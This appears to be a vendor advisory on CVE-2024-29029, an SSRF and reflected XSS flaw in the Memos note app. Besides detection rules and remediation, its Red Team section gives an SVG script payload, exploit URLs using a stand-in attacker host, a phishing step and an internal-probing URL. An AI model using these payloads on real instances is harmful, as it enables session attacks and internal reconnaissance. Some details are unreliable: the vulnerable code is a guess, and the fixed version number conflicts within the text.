CVE-2024-29029

Executive Summary

CVE-2024-29029 is a medium-severity vulnerability affecting Memos, a privacy-first, lightweight note-taking service. The flaw combines a Server-Side Request Forgery (SSRF) vulnerability at the /o/get/image endpoint with a reflected Cross-Site Scripting (XSS) issue. An unauthenticated attacker can exploit this to enumerate internal network resources and inject malicious scripts into the application's response. The vulnerability is present in versions prior to 0.22.0, with version 0.13.2 being a confirmed affected version. The official fix removes the vulnerable endpoint entirely.

Supply Chain & Package Security

Memos is a Go-based application. The vulnerability is not a supply chain compromise but a direct code flaw in the application's HTTP handler. No malicious packages or dependencies are involved. The fix is applied by updating the application source code and rebuilding the binary.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click a crafted link)
• Scope: Changed (impact on resources beyond the vulnerable component)
• Confidentiality Impact: Low (limited internal network enumeration)
• Integrity Impact: Low (script injection)
• Availability Impact: None

The threat level is medium due to the requirement for user interaction and the limited impact on confidentiality and integrity. However, the SSRF component can be leveraged for internal network reconnaissance, potentially leading to more severe attacks.

Deep Dive & Mechanics

The vulnerability resides in the /o/get/image endpoint. This endpoint accepts a url parameter and fetches the image from the provided URL. The response from the external image request is then directly copied into the response of the current server request without proper sanitization or validation.

SSRF Component: An attacker can provide a URL pointing to internal network resources (e.g., http://192.168.1.1/admin). The Memos server will make a request to that internal resource and return its content. This allows an unauthenticated attacker to enumerate internal services and potentially access sensitive data.

Reflected XSS Component: If the attacker provides a URL that returns an SVG or HTML payload containing JavaScript (e.g., <script>alert(document.domain)</script>), the Memos server will reflect that payload in its response. Since the response is served from the same origin, the attacker's script executes in the context of the victim's session, leading to XSS.

The attack flow:

1. Attacker crafts a malicious URL: https://vulnerable-memos-instance/o/get/image?url=https://attacker-controlled-server/malicious.svg
2. The SVG file contains JavaScript (e.g., alert(document.domain)).
3. The Memos server fetches the SVG and returns it as the response.
4. The victim's browser renders the SVG, executing the JavaScript.

Vulnerable vs. Patched Code

Vulnerable Code (Memos < 0.22.0): The vulnerable endpoint likely had a handler similar to:

func getImageHandler(w http.ResponseWriter, r *http.Request) {
    url := r.URL.Query().Get("url")
    resp, err := http.Get(url)
    if err != nil {
        http.Error(w, "Failed to fetch image", http.StatusBadRequest)
        return
    }
    defer resp.Body.Close()
    io.Copy(w, resp.Body)
}

This code directly copies the response body from the external URL to the client without any validation or sanitization.

Patched Code (Memos 0.22.0): The fix removes the entire /o/get/image endpoint. No replacement functionality is provided. The application no longer exposes this functionality.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable Memos instance (version 0.13.2 or similar).
• A publicly accessible server to host a malicious SVG file.

Exploitation Steps:

1. Create a malicious SVG file (payload.svg) containing XSS payload:

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <script type="text/javascript">
    alert(document.domain);
  </script>
</svg>

2. Host the SVG on your attacker server (e.g., https://attacker.com/payload.svg).
3. Craft the exploit URL:

https://vulnerable-memos-instance/o/get/image?url=https://attacker.com/payload.svg

4. Send the URL to the victim (e.g., via phishing email).
5. When the victim visits the URL, the XSS executes in their browser.

SSRF Enumeration: To enumerate internal services, use:

https://vulnerable-memos-instance/o/get/image?url=http://127.0.0.1:8080/admin

The response will contain the content of the internal resource.

Blue Team

Detection:

• Monitor for requests to /o/get/image with suspicious url parameters (e.g., internal IP addresses, unusual domains).
• Look for responses containing JavaScript or SVG content from the /o/get/image endpoint.
• Use the detection rules provided in the Detection Engineering section.

Mitigation:

• Immediately update Memos to version 0.22.0 or later.
• If immediate patching is not possible, block access to the /o/get/image endpoint via a Web Application Firewall (WAF) or reverse proxy.
• Restrict outbound network access from the Memos server to only necessary external services.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /o/get/image with url parameter pointing to internal IP addresses (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8).
  • HTTP responses from /o/get/image containing <script> tags or SVG content.
  • Outbound connections from the Memos server to attacker-controlled domains or IPs.

• File IOCs:

  • Log entries showing requests to /o/get/image with non-image file extensions (e.g., .svg, .html, .php).

• Behavioral IOCs:

  • Unexpected outbound HTTP requests from the Memos server to internal or external hosts.
  • Unusual response content types (e.g., image/svg+xml instead of expected image types).

Detection Engineering

YARA Rule

rule CVE_2024_29029_Memos_SSRF_XSS {
    meta:
        description = "Detects exploitation attempts of CVE-2024-29029 in Memos"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-29029"
        severity = "medium"
    strings:
        $ssrf_path = "/o/get/image?url="
        $internal_ip = /(127\.|10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.)/
        $xss_payload = /<script[^>]*>.*alert\(.*\)/
        $svg_payload = /<\?xml version.*<svg.*<script/
    condition:
        $ssrf_path and ($internal_ip or $xss_payload or $svg_payload)
}

Sigma Rule

title: CVE-2024-29029 Memos SSRF and XSS Exploitation Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests targeting the vulnerable /o/get/image endpoint in Memos
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains: "/o/get/image?url="
    filter:
        cs-uri-query|contains:
            - "http://"
            - "https://"
    condition: selection and filter
falsepositives:
    - Legitimate use of the endpoint for fetching external images (rare)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-29029 Memos SSRF and XSS Exploitation Attempt"; flow:to_server; content:"/o/get/image?url="; http_uri; pcre:"/(127\.|10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.)/"; classtype:web-application-attack; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2024-29029

info:
  name: Memos 0.13.2 - Cross-Site Scripting & SSRF
  author: ritikchaddha
  severity: medium
  description: |
    An SSRF vulnerability exists at the `/o/get/image` that allows unauthenticated users to enumerate the internal network and retrieve images. The response from the image request is then copied into the response of the current server request, causing a reflected XSS vulnerability.
  impact: |
    Attackers can inject malicious scripts and perform SSRF attacks, compromising user data and accessing internal resources.
  remediation: |
    Update Memos to version 0.13.3 or later.
  reference:
    - https://securitylab.github.com/advisories/GHSL-2023-154_GHSL-2023-156_memos/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-29029
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"Memos"
    fofa-query: title="Memos"
  tags: cve,cve2024,xss,memos,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/o/get/image?url=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "alert(document.domain);"
          - "<?xml version"
          - '<script type="text/javascript">'
        condition: and

      - type: word
        part: header
        words:
          - "Content-Security-Policy: default-src 'none';"
        negative: true

      - type: status
        status:
          - 200

Remediation & Mitigation

Immediate Actions:

1. Patch: Update Memos to version 0.22.0 or later. This removes the vulnerable endpoint entirely.
2. WAF Rule: Block requests to /o/get/image with a Web Application Firewall.
3. Network Segmentation: Restrict outbound network access from the Memos server to only trusted external hosts.

Long-Term Recommendations:

• Implement input validation for all user-supplied URLs.
• Use a whitelist of allowed domains for image fetching.
• Sanitize and validate all external content before reflecting it to users.
• Conduct regular security audits and penetration testing.

Valters IT Signature

This report was generated by Valters IT DevSecOps & CTI Division. For questions or further analysis, contact Secure Channels (Signal / Portal).

{/* [Security Hash: A38662F15455CCE34A3F4232] */}